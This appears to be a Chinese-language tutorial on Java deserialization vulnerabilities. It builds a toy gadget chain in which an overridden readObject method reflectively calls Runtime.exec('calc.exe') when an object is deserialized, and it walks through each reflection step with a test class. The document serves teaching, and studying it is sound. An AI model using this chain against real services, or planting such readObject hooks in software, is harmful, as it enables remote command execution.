測試代碼:html
package test; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; public class ReflectionPlay implements Serializable{ public static void main(String[] args) throws Exception { new ReflectionPlay().run(); } public void run() throws Exception { byte[] ObjectBytes=serialize(getObject()); deserialize(ObjectBytes); } //在此方法中返回惡意對象 public Object getObject() { String command = "calc.exe"; Object firstObject = Runtime.class; ReflectionObject[] reflectionChains = { /* * Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[] {}).invoke(null); Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(runtime,"calc.exe"); * * */ //調用 Runtime.class 的getMethod方法,尋找 getRuntime方法,獲得一個Method對象(getRuntime方法) //等同於 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class}) new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //調用 Method 的 invoker 方法能夠獲得一個Runtime對象 // 等同於 method.invoke(null),靜態方法不用傳入對象 new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //調用RunTime對象的exec方法,並將 command做爲參數執行命令 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command}) }; return new ReadObject(new ReflectionChains(firstObject, reflectionChains)); } /* * 序列化對象到byte數組 * */ public byte[] serialize(final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } /* * 從byte數組中反序列化對象 * */ public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } /* * 一個模擬擁有漏洞的類,主要提供的功能是根據本身的屬性中的值來進行反射調用 * */ class ReflectionObject implements Serializable{ private String methodName; private Class[] paramTypes; private Object[] args; public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) { this.methodName = methodName; this.paramTypes = paramTypes; this.args = args; } //根據 methodName, paramTypes 來尋找對象的方法,利用 args做爲參數進行調用 public Object transform(Object input) throws Exception { Class inputClass = input.getClass(); return inputClass.getMethod(methodName, paramTypes).invoke(input, args); } } /* * 一個用來模擬提供惡意代碼的類, * 主要的功能是將 ReflectionObject進行串聯調用,與ReflectionObject一塊兒構成漏洞代碼的一部分 * */ class ReflectionChains implements Serializable{ private Object firstObject; private ReflectionObject[] reflectionObjects; public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains構造方法 this.firstObject = firstObject; this.reflectionObjects = reflectionObjects; } public Object execute() throws Exception { Object concurrentObject = firstObject; for (ReflectionObject reflectionObject : reflectionObjects) { concurrentObject = reflectionObject.transform(concurrentObject); System.out.println(concurrentObject); } return concurrentObject; } } /** * 一個等待序列化的類,擁有一個屬性和一個重寫了的readObject方法 * 而且在readObject方法中執行了該屬性的一個方法 * */ class ReadObject implements Serializable { private ReflectionChains reflectionChains; public ReadObject(ReflectionChains reflectionChains) { this.reflectionChains = reflectionChains; } //當反序列化的時候,這個代碼會被調用 //該方法被調用的時候其屬性都是空 private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { try { //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操做 reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null); reflectionChains.execute(); } catch (Exception e) { e.printStackTrace(); } } } }
運行結果:
java
涉及到的類:數組
類名 | 是否繼承 Serializable | 方法名 |
---|---|---|
ReflectionObject | 繼承 | transform |
ReflectionChains | 繼承 | execute |
ReadObject | 繼承 | readObject(重寫) |
注:要想產生反序列漏洞,須要重寫readObjec方法ide
代碼流程:函數
getObject(); 生成一個ReflectionObject數組,包含三個ReflectionObject對象;而後使用ReflectionObject數組生成一個ReflectionChains對象,繼續使用ReflectionChains對象生成一個ReadObject對象測試
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //調用 Method 的 invoker 方法能夠獲得一個Runtime對象 // 等同於 method.invoke(null),靜態方法不用傳入對象 new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //調用RunTime對象的exec方法,並將 command做爲參數執行命令 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command}) }; return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { try { //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操做 reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null); reflectionChains.execute(); } catch (Exception e) { e.printStackTrace(); } }
在這裏咱們須要注重看
在生成ReadObject對象時傳入的參數是ReflectionChains對象,因此這裏調用的execute()方法就是ReflectionChains的execute()方法。
接着分析ReflectionChains的execute()方法:this
public Object execute() throws Exception { Object concurrentObject = firstObject; for (ReflectionObject reflectionObject : reflectionObjects) { concurrentObject = reflectionObject.transform(concurrentObject); System.out.println(concurrentObject); } return concurrentObject; }
關鍵代碼:
由上面可知生成ReflectionChains對象時傳入的參數是ReflectionObject數組,這段代碼的含義即是:遍歷ReflectionObject數組,每個元素(ReflectionObject)執行transform方法
繼續分析ReflectionObject的transform方法:3d
public Object transform(Object input) throws Exception { Class inputClass = input.getClass(); 獲得input對象是那個類的類名 return inputClass.getMethod(methodName, paramTypes).invoke(input, args); 經過類名調用該類的某一方法 }
注意:
經過以上分析能夠了解到,進行反序列化的反射鏈爲:
deserialize(ObjectBytes); 調用ReadObject類的readObject方法;接下來調用ReflectionChains類的execute方法;接下來經過遍歷ReflectionObject數組調用ReflectionObject類的transform方法code
經過以上代碼分析看,最終須要執行的即是如下代碼:orm
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //調用 Method 的 invoker 方法能夠獲得一個Runtime對象 // 等同於 method.invoke(null),靜態方法不用傳入對象 new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //調用RunTime對象的exec方法,並將 command做爲參數執行命令 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 等同於執行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class}) new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 等同於執行了:method.invoke(null),靜態方法不用傳入對象 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command}) RunTime對象的exec方法,並將 command做爲參數執行命令
第一個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
輸出的結果:java.lang.Runtime.getRuntime() 輸出的是一個類
第二個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
輸出結果:java.lang.Runtime@74a14482 輸出的是一個Runtime的對象
第二個對象執行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")
package test; import java.lang.reflect.InvocationTargetException; public class test5 { public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException { //Class inputClass = input.getClass(); //inputClass.getMethod(methodName, paramTypes).invoke(input, args) //new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}) Class inputClass1 = Runtime.class.getClass(); Object concurrentObject1 = inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]}); System.out.println(inputClass1.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]})); //public static java.lang.Runtime java.lang.Runtime.getRuntime() //new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}) Class inputClass2 = concurrentObject1.getClass(); Object concurrentObject2 = inputClass2.getMethod("invoke",new Class[]{Object.class, Object[].class}).invoke(concurrentObject1, new Object[]{null, new Object[0]}); System.out.println(concurrentObject2); //java.lang.Runtime@3d4eac69 //new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command}) Class inputClass3 = concurrentObject2.getClass(); Object concurrentObject3 = inputClass3.getMethod("exec",new Class[]{String.class}).invoke(concurrentObject2,new Object[]{"calc.exe"}); System.out.println(concurrentObject3); /* * 對比user類: * inputClass.getMethod(methodName, paramTypes).invoke(input, args) * 對參數說明: * inputClass user.getClass() * methodName 調用的方法名稱 * paramTypes 調用方法的參數類型 * input 是 inputClass的一個對象 * args 調用方法的參數 * * 函數返回結果: * input對象調用methodName的方法(傳入的參數是args)返回的結果:好比 void setName(String name){} 返回的是null * */ } }